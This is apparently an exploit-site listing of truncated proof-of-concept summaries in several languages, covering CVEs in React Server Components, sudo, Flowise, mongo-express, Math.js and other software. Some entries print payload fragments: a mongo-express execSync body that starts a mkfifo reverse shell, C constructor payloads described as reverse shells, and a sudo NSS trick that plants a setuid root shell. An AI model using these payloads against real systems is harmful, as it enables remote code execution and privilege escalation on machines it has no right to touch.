CVE-2025-55182

CVE-2025-55182 本仓库包含对 CVE-2025-55182 的概念验证（PoC）复现，这是一个 React Server Components RSC 中的严重安全漏洞，允许未经身份验证的任意代码执行。 描述 该漏洞存在于 React Server Components 从客户端请求反序列化 "Server Actions" 的方式中。具体来说，requireModule 函数未能验证请求的导出名称是否是模块的直接属性。这允许攻击者访问导出函数的 constructor 属性，从而获取全局 Function 构造函数的引用，进而可用于执行任意代码。 复现 本 PoC...

sudoinjection

CVE-2025-32463：通过 sudo -R NSS 注入实现本地权限提升 概述 此 PoC 演示了在 Linux 系统上通过滥用 sudo -R 选项并结合自定义 NSS 模块实现的本地权限提升 。它针对漏洞 CVE-2025-32463，该漏洞源于在 chroot 环境下对 nsswitch.conf 和 NSS 共享库的不安全处理。 本 PoC sudo2root 改编自原始技术，通过编译一个自定义 NSS 模块，利用 constructor 属性提升权限，并在 /usr/local/bin/.suidshell 放置一个 setuid root shell。 漏洞详情 漏洞...

CVE-2018-6574

CVE-2018-6574 复现步骤： 1. 创建一个包含恶意命令（反向 shell）的 .c 文件： root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. 使用 GCC 编译它。你必须在与目标完全相同的架构和操作系统上进行编译（例如 Linux x8664）： root@kitploit: gcc -shared -o attack.so -fPIC attack.c 3. 创建一个 main.go 文件，其中包含告诉 Go...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise 是一个拖放式用户界面，用于构建自定义的大语言模型流程。在 3.0.5 版本中，Flowise 存在远程代码执行漏洞。CustomMCP 节点允许用户输入用于连接外部 MCP 服务器的配置设置。该节点解析用户提供的 mcpServerConfig 字符串以构建 MCP 服务器配置。然而，在此过程中，它会在没有任何安全验证的情况下执行 JavaScript 代码。具体来说，在 convertToValidJSONString 函数内部，用户输入被直接传递给 Function 构造函数，该构造函数会将输入作为 JavaScript...

CVE-2019-10758

CVE-2019-10758 mongo-express远程代码执行，反弹shell代码如下： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat /tmp/f |...

CVE-2025-55182

CVE-2025-55182 Este repositorio contiene una reproducción PoC de CVE-2025-55182 , una vulnerabilidad de seguridad crítica en React Server Components RSC que permite la ejecución arbitraria de código sin autenticación. Descripción La vulnerabilidad existe en la forma en que React Server Components...

CVE-2019-10758

CVE-2019-10758 概念验证 设置 root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL 利用 root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP 远程代码执行 PoC 一个针对 CVE-2025-59528 的 Go 语言概念验证，影响 Flowise 版本 示例...

CVE-2026-40897

CVE-2026-40897 Math.js 表达式解析器中的远程代码执行漏洞 ★ CVE-2026-40897 Math.js 远程代码执行 PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 概述 CVE-2026-40897 是 Math.js 表达式解析器中的一个沙箱绕过导致远程代码执行 漏洞。 isSafeProperty 过滤器仅检查用户表达式中的属性访问，而不检查内部代码路径。通过 toJSON 泄露 ArrayNode 的内部数组并覆盖其...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Cadena de explotación para dos vulnerabilidades que afectan Flowise = 3.0.5. Vulnerabilidades CVE-2025-58434 — Toma de Cuenta No Autenticada El endpoint de olvido de contraseña devuelve un token de restablecimiento de contraseña válido en la respuesta de la API sin...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: Webを壊した逆シリアル化のバグ ⚡ React2Shell、CVE-2025-55182、RCEの脆弱性：React Server Componentsにおける安全でない逆シリアル化の欠陥を詳細に解説。これにより、デフォルトのReact/Next.js構成で認証不要のリモートコード実行が可能になります。 ⏩ TL;DR React2Shell CVE-2025-55182 は、React 19.xおよびNext.jsなどのフレームワークのReact Server Components RSC に影響を与える重大なリモートコード実行...

CVE-2026-82417

Summary qs.stringify throws a TypeError when it serializes an object whose own constructor property has a truthy, non-callable isBuffer member. utils.isBuffer duck-types buffers by calling obj.constructor.isBufferobj after checking only that the property is truthy, so a value such as constructor:...

Linux Distros Unpatched Vulnerability : CVE-2026-82417

"The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Summary qs.stringify throws a TypeError when it serializes an object whose own constructor property has a truthy, non-callable isBuffer member. utils.isBuffer...

CVE-2018-4121

CVE-2018-4121 - Exploit POC per sezioni Wasm di Safari con RCE di MWR Labs c 2018 Dettagli questo exploit proof of concept colpisce solo Safari 11.0.3 13604.5.6 su macOS 10.13.3 17D47. compila il payload di tua scelta come dylib con un costruttore esegui python filetojsarray.py your.dylib...

CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 Panoramica protobuf.js npm: protobufjs nelle versioni ≤ 7.5.4 e ≤ 8.0.0 è affetto da una vulnerabilità di esecuzione arbitraria di codice tramite i nomi dei tipi nello schema protobuf. Il modulo...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Übersicht Dieses Repository enthält einen Proof of Concept, der CVE-2025-59528 in Flowise v3.0.5 demonstriert. Die Schwachstelle existiert im customMCP-Knoten, wo die vom Benutzer bereitgestellte Eingabe mcpServerConfig auf eine Weise verarbeitet...

CVE-2025-55182

CVE-2025-55182 Se stai cercando una spiegazione vera e propria, msanft/CVE-2025-55182 ne ha una bella con un PoC funzionante. Questo repository contiene solo alcune cose che ho provato, che hanno prodotto risultati più o meno interessanti. ./thing.py ora contiene un PoC funzionante, la maggior...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1: stampa semplicemente root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Execução Remota de Código CVSS 10.0 Crítico | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 e 3.0.6 Visão Geral Uma vulnerabilidade crítica de execução remota de código no nó CustomMCP do FlowiseAI Flowise. A função convertToValidJSONString passa a entrada...

CVE-2026-54614

DebugKit provides a debugging toolbar for CakePHP applications. Prior to 4.10.3 and 5.2.4, the DebugKit MailPreview feature in src/Controller/MailPreviewController.php accepts a route-controlled previewName value in findPreview and passes the resolved class from App::className to constructor...